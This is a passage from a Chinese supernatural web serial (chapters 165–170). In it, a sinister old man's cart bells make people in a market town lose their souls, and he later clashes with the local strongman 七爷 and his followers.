这时候,我们听到平安集的外面,似乎隐隐约约响起了一阵铃声。 这种铃声,我们都不陌生。当时那个年代,汽车很罕见,乡下的村镇说不定还有一台两台拖拉机,大部分人还是靠马车和毛驴车来拉载东西。 这种铃铛声,就是拉扯的马和驴子的脖子上带的。 平安集这边经常有人拉货,也有人送货,马车和毛驴车很常见,这阵铃铛声也算不上稀奇。 然而,隐隐约约的铃铛声断断续续响了两次,我们就觉得不对了。这铃铛声好像能催眠一样,听了几声,我的眼皮子就开始上下打架。 此时,从远处的小街上面,走过来两个人,对方本来走的还很平稳,可是突然就像是喝多了酒似的,不约而同的摔倒在地,再也没有爬起来。 第165章 一辆马车 我们三个人坐在小摊的角落里,清清楚楚的看到不远处那两个人倒了下来。这时候天色已经很晚,行人基本消失了,只剩下在外面零零星星喝酒吃饭的几个人。 那两个人倒下之后,就再也没有爬起来,与此同时,那阵缥缈的铃铛声,一直都在回荡,而且,铃铛声的位置不断的变换,就仿佛马车正在围着平安集缓缓转动。 “不对,不对……”小皮顿时皱起了眉头,小声说道:“有什么东西!” “什么?” “现在感应不出来,但肯定不是什么善茬!” 我们说话之间,铃铛声不断的落入耳中,脑袋里乱成了一团。小皮的反应很快,手脚也麻利,立刻拿起一旁的一块烂抹布,撕开了之后分给我们。 “堵着耳朵!堵紧一点!” 抹布黑漆马虎的,又脏又臭,但我们知道这时候的情况不对,赶紧就把耳朵结结实实的堵了起来。 这条长街上,一共有两个吃宵夜的小摊,另一个摊子距离这里有二十米左右。摊子上的几个人,多半也发现了突然倒下去的两个行人,站起身想要去看看。 但这三四个人一站起来,立刻就觉得不对劲了,东倒西歪的,跟喝醉了酒一样。 他们踉跄着朝前走了几步,也跟着一头栽倒在地。 眼前的小摊子就我们这一桌人,老板正坐在一旁整理一天的收成,看见那边有人倒下,他不知道是怎么回事,把小钱箱放好,就打算去看看。 老板朝那边走了几步,断断续续的铃铛声好像又顺着风飘了过来,老板突然就停下了脚步,身躯像是不倒翁一样,前前后后来回乱晃。 小皮拉着我们就躲到一旁一大堆垃圾后面,他用手指蘸了点口水,在我的额头上方划了几下,程一觉得膈应人,但看到小皮现在的表情,就知道不是闹着玩的,只能硬着头皮,让小皮在她的额头上也划了几下。 我们在垃圾堆后面藏的严严实实,因为耳朵被堵的死死的,什么声音也听不到,小皮急忙拉起我的手,在我的手心上写字。 小皮是在告诉我,那阵铃铛声,仿佛有勾魂的作用。我对小皮的话深信不疑,他能够神游,对于魂魄方面的理解,远比普通人深刻的多,也敏锐的多。 在垃圾堆后面藏了几分钟之后,露头朝外面看了看,两个小摊周围的人,现在全都倒下了。小皮拿掉堵着耳朵的抹布,侧耳倾听,估计他很快就又听到了铃铛声。 平安集这个地方,多少年来都是藏龙卧虎之处,外人基本不会跑到这里找麻烦。或许就是因为之前我经历的一些事情,让我对突发/情况/比/较敏/感,此时发生的异状,让我心里很不安。 小皮听了一下,然后又堵着耳朵,带着我们在暗夜中借助地形猫着腰前行。他对平安集这里的地形熟悉的不能再熟了,一路走的又快又隐蔽,而且渐渐的就靠近了铃铛声传出的方位。 铃铛声一直都是在移动的,我和程一跟在小皮后面,越看越是心惊。整个平安集里面,那种买宵夜的小摊一共有七八个,这一圈走下来,几个小摊上吃宵夜的人连同老板,都已经躺倒在地,没有任何反应了。 我心里一惊,现在的平安集,除了那些在家里或者在店铺里的人之外,游逛在外头的估计全都中招了。 我忍不住也悄悄的把耳朵上的破布拿开,破布一拿开,立刻就听到了一阵铃铛声,还有车轮滚动的声音,声音虽然不算高,但是在这沉寂的黑夜里,还是能清楚的听到。 现在基本上可以确定了,就是有一辆马车,绕着平安集在缓缓的行驶。 “小皮,这铃铛是什么玩意儿?” “我怀疑,铃铛只是普通的铃铛,但是马车上的人很了不得,用这种普通铃铛,就能把人的魂魄给震出来。”小皮喘了口气,小声说道:“我已经把你们俩额头上的祖窍给封起来了,一时半会的,就算真遇到什么麻烦,魂魄也不会从祖窍被震出来。” “从这铃铛声里,听不出对方的来历吗?” “这样的声音,以前从来没听过,现在先别多说,继续跟着看看,把耳朵堵上。” 小皮还是在前面悄悄的带路,暗中跟随着铃铛声传来的方向,这时候,平安集的外面除了我们,已经没有还清醒的人了。 我们三个人和做贼似的,又转了几分钟,突然,小皮猛的停下脚步,把我们给推到一旁。 三个人立刻缩到了一堵矮墙的后面,这个地方已经靠近了平安集的入口,过了不到两分钟,一辆马车缓缓从外面驶入。 那是一辆看起来很普通的马车,平时平安集这边的人用的都是类似的马车,没什么稀奇之处。 马车是一匹黑马在牵引,拖着一辆平板车,赶车的人就坐在平板车的前头,手里拿着一根鞭子。 当我看见这个赶车的车夫时,脑袋顿时大了一圈。 我的耳朵被读者,什么声音也听不到,但是眼睛却管用,我看见车夫竟然是邪神庙的那个老杂毛。 果不其然,难怪我心里一直感觉不踏实,原来是这个老东西追到了平安集这里。 毫无疑问,老杂毛必然是冲着我来的,不过,按照眼前的形势来看,老杂毛估计不能确定我就在平安集,他也是过来寻找的。 当我看到老杂毛的那一瞬间,也不知道是心理作用,还是什么别的原因,总觉得自己额头上面的骨头好像在突突的跳动。 额头上的骨头在跳动,一下子就牵连到了脑袋的伤口。伤口的断骨基本上已经愈合了,现在又像是要裂开似的。 从我的伤口被杨大夫治疗之后,就再也没有发作过,我以为已经平安无事了,然而,在这个要命的节骨眼上,快要长好的伤口,却仿佛要重新崩裂。 一时间,那种头痛欲裂,奇痒钻心的感觉,潮水一般的涌来,我使劲缩在矮墙的后面,咬着牙硬撑,不敢发出任何声音,也不敢有任何动作。 我的心慌了,老杂毛既然能找到这么远的地方,说明他是有一定把握的,我现在如果真的撑不住,弄出什么动静,一定会被老杂毛给发现。 第166章 紧紧跟随 此时此刻,我难受到了极点,也紧张到了极点。小皮只怕我忍不住,急忙伸手捂着我的嘴巴。 老杂毛暂时没有发现我们,还是驾驶着那辆马车,沿着旁边的那条路缓缓前行。不多久,老杂毛走出去了大概有二十米远,他离我远了之后,我就感觉好了一些。 就这么短短几分钟时间,我身上的汗水已经把衣服给打湿了,小皮这才松开了手。 没有脑袋那种痛痒感的影响,我也恢复的很快,视线随后就重新清晰了。三个人躲在原处不敢乱动,悄悄的望着渐渐远去的马车。 一直到这时候,我们才看到,平板车上面拉的有东西,上面盖着一层黑布,看不清楚是什么。不过,根据轮廓和形状来判断,那应该是个箱子。 等到情绪稳定下来,我感觉有点诧异。上次在邪神庙和老杂毛交过手,这老东西的确很强,是我以前从来没遇见过的高手。 但是,刚才的情景,至今历历在目。只靠着马车上的铃铛声,就让在外面吃宵夜的那么多人一起丢了魂儿,而且,小皮说铃铛肯定是个普通铃铛,我觉得老杂毛的本事再大,也不会大到这种地步。 一直等到老杂毛彻底走远了,我们才重新悄悄跟了上去。 老杂毛赶着马车,顺着平安集里面的几条街道,不紧不慢的走着,平安集的店铺多,也很杂乱,到处都是可以藏身的地方,我们跟了一路,还算是安全。 渐渐的,老杂毛把平安集里面宽宽窄窄的几条街都走了一遍,马车就停了下来,他一停,我们赶紧也找了地方躲了起来。 马车停下来之后,铃铛声也跟着消失了,老杂毛坐在车上没动,只是缓缓的转了转头,朝四处看了两眼。 大概几分钟之后,他又赶着马车朝前面走去,我们不敢跟的太近,就想等一会儿再说。 就在这时候,我突然有种很不好的感觉,急忙扭头看了看。我觉得好像身后有人无声无息的靠近了,而且已经到了很近的地方。 但是周围肯定是空荡的,除了我们三个,就只有那些东倒西歪已经彻底失去知觉的路人。 此时此刻,我的感应似乎非常的强烈,刚才虽然紧张,但藏身处周围的气氛是正常的,现在我真的觉得,周围有人。 我的耳朵还堵着破布,听不到什么声音,我心里觉得很不踏实,就想跟小皮和程一说一声。我把左耳上的破布给取下来,刚刚想要小声开口,冷不防,一道声音就好像蚊子哼哼一样,直接钻到了我的耳朵里。 “你躲在这儿,以为我看不见你吗……” 我本来就很紧张,这突如其来的声音把我吓了一跳,小皮就在我身边,看到我的神色突然不对,急忙就按住了我的肩膀。 这一瞬间,我的脑子转动的非常快,小皮和程一显然没有听到刚才的声音,否则也不会这么淡定。这声音只有我一个人听到了,这肯定是人说话的声音,却带着一种让人难以形容的阴森和诡秘。 “出来吧,别躲着了……” 我心里迟疑间,那声音又传入了耳中,如果此时此刻我闭着眼睛的话,真的会感觉是一个人趴在我耳边小声的说话。 可我的眼睛是睁开的,前后左右除了小皮和程一,根本就没有别的人。 “出来……” 当这道声音第三次被我听见的时候,我有点忍不住了,心里感觉一阵无可控制的躁动。小皮很机灵,看见我现在的样子,马上用力把我按住,程一也伸手捂住了我的嘴巴。 我不知道为什么,这阵毫无来由的声音让我非常难受,那种感觉不亚于脑袋上的伤口发作。幸亏小皮和程一在旁边帮忙,我强行忍耐,最终还是没有乱动。 那道声音来来回回响了几次,随后就慢慢消失了,周围又恢复了平静。我被这么三番五次的折腾,就和跟人/大战了一场似的,只觉得浑身乏力,身上的汗水早就把衣服给浸透了。 “刚才是怎么回事?” “刚才……我听见一道声音,说已经看到我了。” 我把经过小声和小皮他们俩说了一遍。 “说是看到你了,那肯定是没看到,诈你呢。幸亏啊,刚才按着你,没让你乱动。” 这时候,我心里七上八下,忐忑不安,刚才的声音只有我听到了,程一却没有听到,这就意味着,老杂毛应该是专门冲着我来的。 我当时被老杂毛抓到过,他要是暗中做点什么手脚,我也不可能发现。 那辆马车仍然在远处缓缓的行驶,马车一动,铃铛声也随之响起,现在虽然夜很深了,但周围特别安静,要是铃铛声一直这样不断的响起,应该能影响到屋子里面的人。 此时,小皮仔细的听了听,他发现,铃铛声虽然还是一直在响,不过,已经变成了很普通的响声,铃铛声里面暂时没有那种能让人魂魄出窍的魔音。 “咱们要不要再跟下去了?” “跟着看看吧,我总觉得,不看着这个老杂毛的话,不知道他又会耍什么花样。” “在平安集里,他能怎么样?别以为他有点本事,就能天下无敌了。”程一皱了皱眉头,说道:“平安集这地方,也是卧虎藏龙的,他真把事情闹大了,用不着咱们出手,肯定有人收拾他。” “实在不行的话,你们俩先回去。”小皮把手里的破布整了整,又打算塞到耳朵里面去:“我跟他没照过面,真被他发现了,也没什么大不了的,你们回去等我,我跟着这个老杂毛。” 我们三个还没有商量好,距离马车不远的地方,有一个临街的门脸,突然亮起了灯。 灯光亮起的同时,马车停了下来,老杂毛还是一动不动的坐在板车的最前头。 紧跟着,临街那个铺子的门就被人哐当推开了,一个赤着上身的精壮汉子揉着眼睛,呵斥道:“深更半夜的!在外面晃什么!叮叮当叮叮当的!还让不让人睡觉了!” 老杂毛还是坐着不动,连看都没看对方一眼,想要继续赶着马车向前。 第167章 鬼眼老七 老杂毛对这个壮汉的话充耳不闻,壮汉本来就是被吵醒的,这时候顿时就火了,一步上前,直接挡在了马车的前面。 我在平安集这里住了一段日子了,大概的情况还知道一些。这个壮汉子三十来岁,是个皮匠,跟几个同乡在平安集开了个小作坊,专门制作各种皮具。 不过,在平安集这里混饭吃的人,没有几个善茬,否则的话无法立足。这几个皮匠都是年轻力壮,练过功夫,作坊里的生意,大概也是个幌子,背地里有自己的买卖。 “下来!老东西!” 这个皮匠不知道老杂毛的来历,仗着身强力壮又会功夫,挡在车头前,叉着腰骂街。 要是放到一般人,马车前头被人挡了,肯定会停下来,但是老杂毛不是一般人,只当是看不见皮匠,马车继续朝前走,皮匠顿时就火了,一嗓子喊了出去。 屋子里其余几个人都走了出来,两个人拉着马缰,剩下的就要把老杂毛给拽下来。 一看到那边起了冲突,我们立刻又停了下来,躲到了一旁。 因为离的有点远,具体的情形看的不是很清楚,反正就看到几个人在那边拉拉扯扯。过了大概有两分钟左右,两个壮汉不知道是怎么回事,身子就和皮球似的,直接弹出去了两三米远。 我很清楚,这几个皮匠虽然有两把刷子,但是凭他们,在老杂毛面前肯定不够看,真要是斗起来,多半是会吃亏的。 果然,两个壮汉摔的很惨,他们刚刚骂骂咧咧的爬起来,又有两个同伴被甩了出来。如此一来,就彻底乱套了,几个皮匠立刻就近拿起家伙事,连喊带骂的又冲了过去。 平安集这边房屋比较密集,店铺挨着店铺,因为夜里安静,他们这么一闹,很快就有人被惊动了。 我们三个人躲在一堵墙后面,左前方那一排房屋,接二连三的亮起了灯。 其中一个叫做玉方斋的铺子,打开了门,有两个年轻人出来左右看了两眼,随后,一个看上去大概有七十岁上下的老头儿,背着手走了出来。 “是七爷出来了。”小皮又轻轻缩了缩脖子,小声说道:“咱们就先别出头了。” “这老东西出来了,正好。”程一对这个老头儿似乎很有成见,翻着白眼说道:“叫他去跟老杂毛比划比划吧。” 那个老头儿,我刚到平安集的时候就听说了,是个很传奇的人物。 老头儿姓马,真名没人知道,别人说,他在家里排行老七,所以,熟人都称呼他七爷。 七爷以前混江湖的时候,别人叫他鬼眼老七。这个外号是有来历,也有说法的。 据说,七爷他们家是当地有名的大地主,但是家里的人丁不旺,从七爷的祖父开始,都是一脉单传。 到了七爷的父亲这一辈,家里就和中了邪一样。前前后后一共生了六个孩子,都是刚出生就夭折。 他们家有钱,请了很多人过来看过,还专门迁过祖坟,只不过不怎么管用。 到七爷出生的时候,也是刚出生就断气了,他们家一直夭折孩子,已经有了经验,提前就准备了一口米棺。所谓的米棺,也就是专门用来安葬夭折的小孩的棺材。 夭折的小孩一般不会按照正常的风俗进行安葬,一般就是过了夜,到第二天就入土。七爷刚出娘胎,跟着就进了棺材。 七爷父母的心情可想而知,痛不欲生,一下子感觉没指望了。 到了天亮的时候,家里雇的人就过来抬棺,但是,准备封上棺盖之前,有人突然发现,棺材里的七爷竟然在动。 所有人都觉得不可能,七爷刚出生的时候就断气了,又在米棺里放了大半夜,这时候竟然没死,很让人诧异。 诧异之后,家里人又很欣喜,他们盼儿子都已经盼疯了,赶紧把七爷弄了出来,又请了大夫。 在大夫诊治的时候,就发现七爷没什么毛病,但是,七爷的后背上,有一块黑色的胎记。那块胎记非常奇怪,就像是半个很清晰的手印。 谁也说不清楚这是怎么回事,但对七爷的父母来说,七爷能活下来已经是上天给的造化了,他们什么都没多想,就打算好好的把七爷抚养长大,将来能继承家业。 七爷从小就和别的婴儿不太一样,还不会说话的时候,就经常平白无故的咿呀咿呀的叫,等会说话了之后,又经常冲着空荡荡的地方嘀嘀咕咕。 虽然七爷别的地方没有什么大毛病,但是老是这么搞,家里人就有点不放心。 七爷三岁的时候,恰好道门里有个大人物经过他们的家乡,七爷的家人不惜花费了重金,把对方请来。 那个人看了看七爷,就不再说话了,七爷的父母追问了很久,那人才勉为其难的开口,他说,七爷不能留,如果七爷活着,这个家就得家破人亡,只有七爷死了,家里才能确保平安。 七爷的父母大惊失色,接着又问,那人就不肯多说了,只让七爷的父母自己考虑。 七爷的父母都这把岁数了,就这么一个儿子,说什么都不肯放弃。那人看到他们这么坚持,也就不再勉强,交代了几句之后就走了。 之后的两三年里,倒是没发生什么大事,但是有一次,七爷跟他父亲说话,说的话就把老头儿给吓了一跳。 七爷说,自己记得刚出生时候的事情。 刚出生时,七爷知道自己被人给带走了,一直在一条黑漆漆的路上走。那条黑漆漆的路走到尽头,是一道沉重的大门,大门外面有两个人,长的和鬼一样。 七爷正要从这道大门经过的时候,其中一个守门的人摇了摇头,推了他一把,又把他给推了出来。 再后来,七爷就重新回到了家,从小到大的事情,七爷都记得。他父亲听他这么说,就惊出了一身冷汗,因为之前就有巫婆说过,七爷是去过鬼门关的人,最后又被退了回来。 正因为这样,七爷的后背上,才会留下看门人推他时候的半个手掌印。 七爷的父亲当时觉得巫婆是在胡诌,但现在听了七爷的话,才知道巫婆并非信口开河。 第168章 横眉冷对 七爷家里的人知道这些之后,随即又想起当年道门里那个大人物留下的话,不免有点心慌。 因为七爷不仅仅记得很小的时候发生的事,而且,到了他几岁的时候,仍然会无缘无故的冲着空荡荡的地方小声的嘀咕。家人问他,七爷就说,自己在跟别人说话。 这明显就意味着,七爷是民间传说里那种死过一次的人,又从鬼门关被送了回来,这样的人据说可以穿行阴阳,眼睛能看到人,也能看到鬼。 这样的人,的确不是什么善茬,会给家里带来厄运。 七爷的父母心中难以决断,毕竟已经把七爷养了几年了,又是自己的亲儿子,说什么也割舍不下。 然而,后面的事情一步步在印证父母的担忧。传说那种能穿行阴阳的人,一般都不长命,要么就是命运多舛,要么就是体弱多病,七爷本人倒是健健康康,可家里的运势,的确是江河日下。 先是吃了几桩官司,后来又碰上战乱,家里的财产一下子少了一大半,老爷子受不了这种打击,没多久一命呜呼。 等老爷子一死,家里彻底的败落了,在那种乱世里,孤儿寡母守不住仅存的那点产业。到了七爷十几岁的时候,家里已经一贫如洗,七爷的母亲也在贫病交加中过世。 尚未成年的七爷由此流落四方,他这个人的命数,的确有点奇怪,虽然给家族带来了厄运,自己的运气却不算差。在那个兵荒马乱的年月里,十几岁的七爷不仅没有什么事,反而结交了不少朋友,还遇见了高人,教他了一些本事。 七爷身上的故事非常多,人们口口相传,都说七爷能看穿阴阳,而且能和鬼打交道。 事实证明,传言可能并非都是空穴来风,因为七爷经营的买卖,还有平时合作的一些人,基本都跟那些神神鬼鬼的东西有关。 混江湖的人,一夜暴富,一夜暴毙,都是司空见惯的事情,因为手上都沾着血,甚至背着人命,为了求个心理安慰,就很迷信。对于七爷这种,大多数人还是抱着敬畏的态度,有时候即便发生了些许利益冲突,也都会忍让,避免不必要的麻烦。 可以说,七爷的前半生一直混的不错,有那么几年,鬼眼老七这个名号,在江湖里也是响当当的。 到了后来,环境发生了变化,七爷半生的家业尽扫一空,本人也差点死去,这老头儿命硬,最终还是熬了过来。前几年环境好了些,七爷也是率先在平安集这边立足的元老之一。 他有名望,有本事,只要有条件,翻身的机会就很大。七爷在平安集这里开了一个玉方斋,表面上卖一些文玩字画之类的东西,其实暗地里和别的很多铺子一样,都有不见光的生意。 而且,平安集这里不少做买卖的人,不管是不是见光的生意,为了保个平安,一般都会去拜一拜七爷,交一点保护费,交了钱的人,如果在平安集这里出了什么麻烦,七爷会出面摆平。 那几个做皮货生意的皮匠,就是靠着七爷的。 七爷身前的两个伙计加快了脚步,先跑到马车那边,问了问情况。就那么几分钟时间,几个皮匠都吃了亏,有两个摔的特别惨,鼻青脸肿的。 看到七爷的人过来,皮匠就有了底气,重新围了上来,死死的挡着老杂毛的马车。 “大半夜的,都不用睡觉了?在这里闹什么?” 七爷慢条斯理的走到了马车跟前,看了看老杂毛。老杂毛估计是第一次到平安集这里,没有人认识他,眼瞅着周围已经围了好几个人,但老杂毛还是稳如泰山,坐在平板车上,无动于衷。 “这两个老东西相互打个头破血流才好呢。”程一撇了撇嘴,他们家的铺子,在平安集这里算不上什么好位置,但是,寿衣店旁边的门面,是七爷名下的。 七爷一直想让寿衣店搬到别处去,那样就可以把两个铺子打通,地方宽敞,方便做事。但程白鹤怎么都不肯搬,七爷本人没说什么,不过他手下的人在寿衣店那边找了几次麻烦,程一看到七爷就觉得不顺眼。 七爷这个人,在平安集这里就是一霸,几个皮匠的底气很足,要把老杂毛给拽下车。 “等等。”七爷看了老杂毛两眼,估计是看出了点端倪。 老杂毛本身就不太正常,身上一直背着一只狐狸,普通人是看不出来,但是七爷号称鬼眼老七,那双眼睛是一般人比不上的。如今虽然上了岁数,眼力仍在。 我估摸着,七爷就算看不清楚老杂毛身上背着一只狐狸,也能看出对方不是泛泛之辈。 “这位老哥,瞧着面生的很,不知道来我们平安集,有什么贵干?” 老杂毛根本就不理会七爷那么多,一张脸和木头一样,拿着手里的鞭子,淡淡的说道:“让开。” 如此一来,七爷就觉得面子上挂不住了,像他这样的人,有时候真的是靠面子吃饭的,一旦面子丢了,以后别人都不会再拿他当回事。 “老哥,口气好硬,只不过,这是咱们平安集的地头,老哥这么横,有点说过不去。” “我再说最后一遍,要是不让开,你们就都躺下吧。” “老东西,这么大口气!今天不把你揍趴下,就当咱们对不起你!” 七爷还没有答话,几个年轻气盛的皮匠已经无法忍耐,棍棒铁锹家伙事一块儿朝着老杂毛这边招呼过来。 这一次,老杂毛不动也得动了,不过,他还是没有离开平板车,就站在上头,挥舞着鞭子。几个皮匠又吃了亏,鞭子抽在身上脸上,立刻就皮开肉绽。 到了这一步,七爷无法坐视不理,他手下那两个伙计也开始大呼小叫。 场面一瞬间乱成了一锅粥,闹的鸡飞狗跳,几个人围攻老杂毛,有些正在沉睡的人被打闹声惊醒,也跑了出来。 一直到这时候,先前昏倒在路上的那些吃宵夜的人,才糊里糊涂的醒了过来。本来寂静的平安集,没多久就聚拢了好几十个人。 第169章 飞来横砖 平安集这个地方其实一直不怎么安宁,三教九流的人很多,因为利益和其他矛盾,经常发生冲突,七爷这人也不是特别厚道,有时候会根据自己的需求,暗地里煽风点火,挑动两帮人/大打出手,最后自己再出来收拾局面,坐收渔利。 所以,打打杀杀的事情,人们已经见怪不怪了,碰见这种事,很多人都会出来看热闹。 很快,老杂毛的马车就被堵的严严实实,周围那些人,有的是跟着七爷混的,有的躲在一旁围观,老杂毛站在平板车上,一条鞭子挥舞的刷刷作响,七爷这边的人虽然多,但一时间也无法靠近。 老杂毛可能也不想被人围在这里,几鞭子挥出去之后,立刻又驾驶着马车朝前跑。 事情到了这种地步,不管七爷心里情愿不情愿,都不可能善罢甘休,毕竟以后还要靠自己这张老脸吃饭。 因此,老杂毛的马车一动,七爷立刻带人追了上去。跟着七爷的人,有十几个,剩下那些看热闹的也想跟上来,有人就呵斥道:“没事的都躲远点,看热闹的不怕事儿大?谁要是再跟着,连你们一起收拾了!” 七爷的人一发话,后面就没人敢再尾随了。 老杂毛的马车走走停停,后面的人紧追不舍,很快就离开了视线,小皮挤眉弄眼的观察了半天,打算偷偷溜过去再看看。 他这边刚一站起身,就看到程白鹤脚步匆匆,闻声赶了过来。小皮跑到跟前,把程白鹤给拉到了这里。 “三大爷,这都大半夜了,你还不睡?” “你也知道大半夜了?大半夜还在外头瞎逛什么!?”程白鹤看见闹、事的不是我们,也就松了口气:“走,赶紧回去。” “现在不能回。” “平安集的事,你们都少掺和。” “老程,这可不是平安集的事,是我们的事。” 程一把老杂毛的事情和程白鹤说了,当初我们在邪神庙的遭遇,程白鹤已经知道,一听说是那个老杂毛追到了这儿,程白鹤也紧张了。 “你们都别露面,回去等着,我去看看。” “三大爷,别啊,你这一把白胡子,跟过去看,人家一眼就发现了,还是我去吧。” “那也好,你去,我带着他们先回家。” 程白鹤心里就是记挂程一,一点险也不想让她冒。我总觉得,程一回去可以,但那边的情景,我还是得自己亲眼看看。 小皮带着我,顺着墙根一溜烟的跑,跑动之间,我们能听到打斗还有呵斥的声音,老杂毛肯定被拦住了,就在不太远的地方。 顺着墙根跑了一会儿,小皮又带我爬到屋顶,悄悄的继续朝那边爬动。在屋顶上算是隐蔽,但就是爬的不快。 当我们爬了几分钟之后,打斗声突然就停止了,而且停止的特别离奇,就仿佛正在打斗的人一下子消失了一般,一点声音都没有再传过来。 我和小皮赶紧放慢了速度,从屋顶上面露出了头。 从屋顶一露头,就看到了一片飞扬的尘土,视线有点模糊不清,但隐约能看到个轮廓。 马车还是停在那里,老杂毛站在平板车上,看似一动不动,但我觉得,他的身躯在前后不断的晃动着。 我估计,老杂毛应该是受伤了,上次在邪神庙,我捅他那一刀很重,他这个岁数的人,伤口愈合不可能有我那么快,如今碰上了七爷这样的高手,老杂毛可能得吃点亏。 弥漫的灰尘在缓缓落定,果然,老杂毛受伤了,站在板车上摇摇欲坠。这老东西骨头倒是很硬,已经这个熊样子了,却强撑着不肯倒地。 我心里也说不上是轻松还是紧张,老杂毛吃了亏,七爷这边毕竟人多,要是他们把老杂毛给收拾了,最起码能减少我所受的威胁。 可我转念一想,又觉得不是很妥当,老杂毛虽然找到了平安集,但他肯定无法确认我就在这儿,如果没有七爷他们过来找麻烦,老杂毛或许转一圈找不到我和程一,就会离开。 如果老杂毛在这儿吃了大亏,就很可能继续跟七爷斗,那样的话,我呆在平安集就不怎么保险了。 “先别急,接着再看看。”小皮聚精会神的趴在我旁边,小声说道:“七爷和那个老杂毛火气倒是大,都这么大的岁数了,弄的灰蒙蒙的。” 他们现在的位置,是在靠近街口的地方,夜风徐徐,荡起的灰尘很快就被风给吹散了。等到灰尘散去的那一刻,我不由的就吃了一惊。 七爷连同跟着他的人,一共有十二三个,这时候在马车周围倒了一地,其中几个人不动弹了,另外几个胳膊腿来回乱颤,就是爬不起来。 七爷看样子也很不好受,从地上艰难的爬了起来,我看的不是很清楚,但我觉得,七爷肯定是见血了。 眼下只有这两个老家伙还没倒下,整体看起来,还是七爷落在了下风。 “现在怎么办?”小皮看着老杂毛已经是强弩之末,小声说道:“这时候能不能把老杂毛给收拾了?” “太冒险了。” “现在要是不收拾他,等他走了,再养好伤,再想收拾他就难了。” 我还是觉得不太稳妥,我的目的并不是非要把老杂毛给收拾了,毕竟现在不是过去那种兵荒马乱的年月,出了人命,肯定很麻烦。我只求着老杂毛能赶紧离开,以后别再出现,就已经足够了。 “小皮,还是先稳一点吧。” “错过这个机会,可是不好搞了啊,你看到没,那个老杂毛其实也是撑不住了……” 就在我和小皮小声商量的那一刻,从老杂毛身后的那堵墙壁后面,呼的飞过来一块砖头。 要是放在平时,就算背后飞过来一块砖头,也不可能砸中老杂毛。但是老杂毛这时候受了伤,又在和七爷死死的对峙,这一块砖头飞过来,竟然恰好就砸在老杂毛的头上。 就算是个铁人,被这一转头砸到头上也不可能没反应,老杂毛本身就在苦苦的支撑,等砖头落到头上的那一瞬间,他噗通一下就从马车上摔了下来。 第170章 二傻子 这突如其来的变故是任何人都想象不到的,老杂毛摔下马车的时候,从后面的墙头上,唰的探出一张脸。 紧跟着,墙后面的人手脚并用的爬上来,坐到墙头上,用袖子擦了擦嘴唇上的鼻涕。 “闹……闹……你们闹啥呢……正睡觉……把爷吵醒了……” 这人顶着一头脏的一塌糊涂的头发,脸上黑一块白一块,都是常年没有洗去的污垢,拖着两桶清鼻涕,说话也嘟嘟囔囔的。 这一瞬间,我和小皮都楞了一下。 那个隔着墙扔砖头的人,我们都认识,也算是平安集这里人尽皆知的一个“人物”,别人都喊他二傻子。 二傻子是前几年流浪到平安集这里的,没人知道他是哪个地方的人,一天到晚在平安集附近闲逛。平安集这边,大多都是草莽之辈,平时大大咧咧,有时候心情好,就给二傻子扔点吃的。 反正这几年里,二傻子从来没有挨过饿,也就习惯了在这里混着,每天蹭吃蹭喝,到了晚上就随便找个地方窝着睡觉,过的无忧无虑。 二傻子本来就傻,看不出什么轻重缓急,有人把他吵醒了,他也不管三七二十一,隔着墙就扔砖头。也活该老杂毛倒霉,这一砖头正好仍在他的脑袋上。 老杂毛肯定被砸的不轻,摔倒在地之后,艰难的想要爬起来,但力有未逮。七爷本来也有点难熬,但是看到老杂毛被二傻子给砸到了,精神顿时一振。 “想到我们平安集来……来撒野,你算是找对地方了……”七爷看看马车周围的那些人,依然躺在地上起不来,他立刻转过身,冲着远处那些悄悄围观的人喊道:“来……把这个老东西先拿下……” 平安集这里,很少有人会像程白鹤那样明着得罪七爷,人人都看着老杂毛撑不住了,七爷这么一吆喝,顿时涌过去十多个人,顺手拿起一旁的棍子砖头,很快就把老杂毛给围了起来。 “打!给我打……”七爷也晃晃悠悠的,咬着牙喊道:“朝死里打,留一口气就行……” 一帮人围上来就打,二傻子也跳下来,拿着砖头在旁边伺机动手。 老杂毛看着已经没有还手的余力了,可我总觉得事情不会这么简单,这老家伙的命很硬,被我捅了一刀没死,当时从那么高的山坡上摔下来也没死,他会在这个时候束手就擒? 嘭!!! 我心里这个念头还没有转完,老杂毛身前的马车突然爆开了一团气浪,气浪卷着尘土,轰然大作。 马车上面飞起来一块黑布,那块黑布原本是盖着车上的东西的,但是,周围弥漫的尘土有点邪门,浓重的和雾气一样,我和小皮居高临下,视线都被彻底的遮挡了。 周围一下子安静了下来,那些原本还在喊打喊杀的人,此刻全都哑火了,他们全都被弥漫的尘烟给吞没了进去,我看不见这帮人的举动,但是可以想象的到,这些人一定同时停止了所有动作。 吱呀…… 一声仿佛破门被推开的声音,从弥漫的尘烟中传了出来,我一直都怀疑,马车上面装着一口箱子,此时此刻,这道声音就仿佛那口箱子的箱盖被打开了。 直到这一瞬间,我才明白过来,老杂毛今天来到平安集,就靠着一只普通的铃铛放倒了那么多人,这让我觉得不太靠谱,这时候的情况已经差不多清晰了,老杂毛还没什么,真正可怕的,应该是马车上的那口箱子。 那口箱子里,装的是什么东西? 情况有变,我和小皮就更不敢动了,趴在屋顶上目不转睛的看着。但是马车周围弥漫的尘烟,连风都吹不散。 过了有三四分钟,一阵铃铛声传来,紧跟着又是马车车轮转动的声音。 很快,马车从厚重的尘烟中行驶了出来,我看到老杂毛歪歪斜斜的坐在平板车的前头,驱赶着拉车的马。 “车上真的是一只箱子。”小皮的眼神很好,眯着眼睛看了一眼,说道:“箱子盖打开了一半!” “能看到里面是什么吗?” “看不清楚。” 我们俩说了这几句话,马车的速度突然就加快了,如同一道旋风,奔驰向前。前面的街道/上没有人,马车毫无阻滞,一溜烟似的走远了。 马车一走,周围又安静了下来,远处还有三四十个看热闹的人,这时候谁都不敢上前一步。 估计是刚才闹出的动静太大,又有一些人从梦中被惊醒,先后跑了出来。有人胆子大,还想靠近一些,却被先前聚拢起来的那帮人给拦住了。 可想而知,连七爷现在都没动静了,更不要说别的人。 众人窃窃私语,几分钟过去,还是没人过去,玉方斋的几个人有点忍不住了,毕竟是常年跟着七爷混饭吃的,要是七爷真有个好歹,他们的财路也就断了。 “七爷平时对咱们不薄,现在出了事,就没人过去了?” “说的是,做人做事,都要讲点良心,走,过去看看。” 有两个人迈步上前,还没走到跟前,一阵穿堂风吹了过来,浓重的尘烟立刻像是一堆虚无的泡沫,唰的就散去了。 弥漫的尘土散去,视线又一次清晰起来,我看到地上东倒西歪的躺了一片人,包括七爷在内,已经不怎么动弹了。 但是,有一个人却直挺挺的站在原地,就是二傻子。二傻子不知道是怎么回事,别人都倒下了,只有他好端端的,手里拿着半块砖头,愣愣的出神。 